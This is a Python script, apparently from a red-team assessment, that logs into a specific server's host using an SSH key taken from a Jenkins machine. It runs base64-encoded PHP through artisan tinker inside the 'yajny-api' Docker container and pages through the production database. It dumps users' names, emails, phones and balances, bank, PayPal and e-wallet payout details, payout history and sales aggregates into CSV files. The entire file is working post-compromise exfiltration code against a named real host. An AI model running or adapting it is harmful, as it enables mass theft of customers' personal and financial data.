#!/usr/bin/env python3
"""Full financial dossier bulk extraction via docker exec artisan tinker.
Extracts: users with balances, payout methods, payouts history, aggregates.
Output: JSON lines → CSV files in L3/financial_dossier/.
"""
import subprocess, base64, sys, json, os, csv

HOST = "root@46.101.74.150"
KEY = "/root/ir-assessment/redteam/yajny/L3/ssh_keys/jenkins-host-id_rsa.pem"
CONTAINER = "yajny-api"
OUTDIR = "/root/ir-assessment/redteam/yajny/L3/financial_dossier"

os.makedirs(OUTDIR, exist_ok=True)

def run_tinker(queries, timeout=300):
    code = "\n".join(queries)
    b64 = base64.b64encode(code.encode()).decode()
    cmd = [
        "ssh", "-i", KEY, "-o", "BatchMode=yes", "-o", "StrictHostKeyChecking=accept-new",
        HOST,
        f'echo {b64} | base64 -d | docker exec -i {CONTAINER} php /var/www/html/artisan tinker 2>&1'
    ]
    r = subprocess.run(cmd, capture_output=True, text=True, timeout=timeout)
    return r.stdout

def parse_json_lines(raw, section_name):
    """Extract JSON objects from tinker output between section markers."""
    lines = []
    in_section = False
    capturing = False
    for line in raw.split("\n"):
        if section_name in line:
            in_section = True
            continue
        if in_section and line.strip().startswith("=>"):
            capturing = True
            continue
        if in_section and line.strip().startswith(">>>"):
            capturing = False
            continue
        if in_section and capturing:
            line = line.strip()
            if line.startswith("{") or line.startswith('{"'):
                try:
                    obj = json.loads(line)
                    lines.append(obj)
                except:
                    pass
    return lines

def extract_users_with_balance():
    """All users with confirmed or pending balance > 0 (11,606 users)."""
    print("[*] Extracting users with balance...")
    # Paginated: 500 per page, ~24 pages
    all_users = []
    for page in range(0, 24):
        offset = page * 500
        queries = [
            f'$u = DB::select("SELECT user_id, first_name, last_name, email, phone_number, country_code, confirmed_balance, pending_balance, confirmed_local_balance, pending_local_balance, currency_code, active, created_at FROM users WHERE confirmed_balance > 0 OR pending_balance > 0 ORDER BY user_id LIMIT 500 OFFSET {offset}");',
            'foreach($u as $r) { echo json_encode($r)."\n"; }',
            'echo "PAGE_DONE\n";',
        ]
        raw = run_tinker(queries, timeout=120)
        # Parse JSON lines directly
        for line in raw.split("\n"):
            line = line.strip()
            if line.startswith("{") and '"user_id"' in line:
                try:
                    all_users.append(json.loads(line))
                except:
                    pass
        if len(all_users) % 500 == 0 and len(all_users) > 0:
            print(f"  page {page+1}/24: {len(all_users)} records")
        if page > 0 and len(all_users) == (page) * 500:
            print(f"  no new records at page {page+1}, stopping")
            break
    
    # Write CSV
    if all_users:
        csv_path = f"{OUTDIR}/users_with_balance.csv"
        fields = ["user_id","first_name","last_name","email","phone_number","country_code",
                  "confirmed_balance","pending_balance","confirmed_local_balance",
                  "pending_local_balance","currency_code","active","created_at"]
        with open(csv_path, "w", newline="") as f:
            writer = csv.DictWriter(f, fieldnames=fields)
            writer.writeheader()
            for u in all_users:
                writer.writerow(u)
        print(f"  [OK] {len(all_users)} users → {csv_path}")
    return all_users

def extract_payout_methods():
    """All user_payout_methods (31,162 records — bank accounts, PayPal, e-wallets)."""
    print("[*] Extracting payout methods...")
    all_methods = []
    for page in range(0, 64):
        offset = page * 500
        queries = [
            f'$pm = DB::select("SELECT id, user_id, name, method_code, account, payout_data, enabled, created_at FROM user_payout_methods WHERE deleted_at IS NULL ORDER BY id LIMIT 500 OFFSET {offset}");',
            'foreach($pm as $r) { echo json_encode($r)."\n"; }',
        ]
        raw = run_tinker(queries, timeout=120)
        page_count = 0
        for line in raw.split("\n"):
            line = line.strip()
            if line.startswith("{") and '"method_code"' in line:
                try:
                    all_methods.append(json.loads(line))
                    page_count += 1
                except:
                    pass
        if page_count == 0:
            print(f"  no more records at page {page+1}, stopping")
            break
        if (page+1) % 10 == 0:
            print(f"  page {page+1}: {len(all_methods)} records")
    
    if all_methods:
        csv_path = f"{OUTDIR}/payout_methods.csv"
        fields = ["id","user_id","name","method_code","account","payout_data","enabled","created_at"]
        with open(csv_path, "w", newline="") as f:
            writer = csv.DictWriter(f, fieldnames=fields)
            writer.writeheader()
            for m in all_methods:
                writer.writerow(m)
        print(f"  [OK] {len(all_methods)} payout methods → {csv_path}")
    return all_methods

def extract_user_payouts():
    """All user_payouts (9,332 records — payout history with amounts)."""
    print("[*] Extracting user payouts...")
    all_payouts = []
    for page in range(0, 20):
        offset = page * 500
        queries = [
            f'$up = DB::select("SELECT id, payout_id, user_id, method_code, account, amount, local_amount, local_currency, status, api_status, payment_ref_num, paid_at, created_at FROM user_payouts ORDER BY id LIMIT 500 OFFSET {offset}");',
            'foreach($up as $r) { echo json_encode($r)."\n"; }',
        ]
        raw = run_tinker(queries, timeout=120)
        page_count = 0
        for line in raw.split("\n"):
            line = line.strip()
            if line.startswith("{") and '"payout_id"' in line:
                try:
                    all_payouts.append(json.loads(line))
                    page_count += 1
                except:
                    pass
        if page_count == 0:
            print(f"  no more records at page {page+1}, stopping")
            break
        if (page+1) % 5 == 0:
            print(f"  page {page+1}: {len(all_payouts)} records")
    
    if all_payouts:
        csv_path = f"{OUTDIR}/user_payouts.csv"
        fields = ["id","payout_id","user_id","method_code","account","amount",
                  "local_amount","local_currency","status","api_status",
                  "payment_ref_num","paid_at","created_at"]
        with open(csv_path, "w", newline="") as f:
            writer = csv.DictWriter(f, fieldnames=fields)
            writer.writeheader()
            for p in all_payouts:
                writer.writerow(p)
        print(f"  [OK] {len(all_payouts)} payouts → {csv_path}")
    return all_payouts

def extract_aggregates():
    """Sales/balance transaction aggregates (summary, not raw rows)."""
    print("[*] Extracting aggregates...")
    queries = [
        'echo "===SALES-BY-MONTH===";',
        '$sm = DB::select("SELECT DATE_FORMAT(created_at, \"%Y-%m\") as month, COUNT(*) as cnt, SUM(order_amount) as total_order, SUM(comission) as total_commission FROM sales GROUP BY month ORDER BY month");',
        'foreach($sm as $r) { echo json_encode($r)."\n"; }',
        'echo "===SALES-BY-STORE-TOP-50===";',
        '$ss = DB::select("SELECT store_id, COUNT(*) as cnt, SUM(order_amount) as total_order, SUM(comission) as total_commission FROM sales GROUP BY store_id ORDER BY total_commission DESC LIMIT 50");',
        'foreach($ss as $r) { echo json_encode($r)."\n"; }',
        'echo "===BALANCE-TRANSACTIONS-BY-TYPE===";',
        '$bt = DB::select("SELECT transaction_type, COUNT(*) as cnt, SUM(amount) as total FROM balance_transactions GROUP BY transaction_type");',
        'foreach($bt as $r) { echo json_encode($r)."\n"; }',
        'echo "===PAYOUTS-BY-STATUS===";',
        '$ps = DB::select("SELECT status, COUNT(*) as cnt, SUM(amount) as total_usd, SUM(local_amount) as total_local FROM user_payouts GROUP BY status");',
        'foreach($ps as $r) { echo json_encode($r)."\n"; }',
        'echo "===PAYOUTS-BY-METHOD===";',
        '$pm = DB::select("SELECT method_code, COUNT(*) as cnt, SUM(amount) as total_usd, SUM(local_amount) as total_local FROM user_payouts GROUP BY method_code");',
        'foreach($pm as $r) { echo json_encode($r)."\n"; }',
        'echo "===PAYOUTS-BY-MONTH===";',
        '$pm2 = DB::select("SELECT DATE_FORMAT(created_at, \"%Y-%m\") as month, COUNT(*) as cnt, SUM(amount) as total_usd FROM user_payouts GROUP BY month ORDER BY month");',
        'foreach($pm2 as $r) { echo json_encode($r)."\n"; }',
        'echo "===TOP-50-USERS-BY-TOTAL-PAYOUTS===";',
        '$tu = DB::select("SELECT user_id, COUNT(*) as payout_count, SUM(amount) as total_paid FROM user_payouts WHERE status=\"completed\" GROUP BY user_id ORDER BY total_paid DESC LIMIT 50");',
        'foreach($tu as $r) { echo json_encode($r)."\n"; }',
        'echo "===DONE===";',
        'exit;',
    ]
    raw = run_tinker(queries, timeout=300)
    with open(f"{OUTDIR}/aggregates.txt", "w") as f:
        f.write(raw)
    print(f"  [OK] aggregates → {OUTDIR}/aggregates.txt ({len(raw)}b)")
    return raw

if __name__ == "__main__":
    print("=" * 60)
    print("FULL FINANCIAL DOSSIER EXTRACTION")
    print("=" * 60)
    
    # 1. Users with balance (liability data)
    users = extract_users_with_balance()
    
    # 2. Payout methods (financial PII)
    methods = extract_payout_methods()
    
    # 3. User payouts (payment history)
    payouts = extract_user_payouts()
    
    # 4. Aggregates (sales/balance summaries)
    agg = extract_aggregates()
    
    print("\n" + "=" * 60)
    print("EXTRACTION COMPLETE")
    print(f"  users_with_balance: {len(users)}")
    print(f"  payout_methods: {len(methods)}")
    print(f"  user_payouts: {len(payouts)}")
    print(f"  aggregates: {len(agg)}b")
    print(f"  output dir: {OUTDIR}")
    print("=" * 60)